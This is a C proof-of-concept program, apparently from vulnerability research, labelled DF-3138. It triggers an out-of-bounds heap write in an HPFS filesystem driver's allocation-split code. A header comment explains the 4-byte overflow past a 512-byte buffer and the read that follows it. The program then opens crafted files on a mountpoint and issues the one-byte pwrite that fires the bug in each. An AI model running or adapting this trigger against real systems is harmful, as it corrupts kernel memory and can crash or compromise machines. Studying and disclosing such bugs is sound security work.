DF-3138 / poc.c
/* * DF-3138 PoC — trigger the AE_SPLIT parent-fixup bcopy OOB write * (hpfs_alsubr.c:599) once per crafted file F00..Fnn. * * Each open+pwrite(1 byte @512) walks fnode -> P (busycnt=61,freecnt=1) * -> C (full leaves) ; C splits -> ranp fixup bcopy writes an[61] at * P.b_data[508:516) -> 4 bytes past the 512-byte heap buffer; P then * splits, OOB-reading [512,516) back into the new AlSec's last an_lsn. */ #include <sys/fcntl.h> #include <err.h> #include <stdio.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { const char *dir; char path[512], names[64][8]; int i, fd, nfail = 0, nok = 0; static char one = 0x41; if (argc != 2) { fprintf(stderr, "usage: %s <mountpoint>\n", argv[0]); return 2; } dir = argv[1]; for (i = 0; i < 64; i++) snprintf(names[i], sizeof(names[i]), "F%02d", i); for (i = 0; i < 40; i++) { snprintf(path, sizeof(path), "%s/%s", dir, names[i]); fd = open(path, O_RDWR); if (fd < 0) { warn("open %s", path); nfail++; continue; } if (pwrite(fd, &one, 1, 512) == 1) nok++; else nfail++; close(fd); } printf("DF3138: %d triggers ok, %d failed\n", nok, nfail); return 0; } |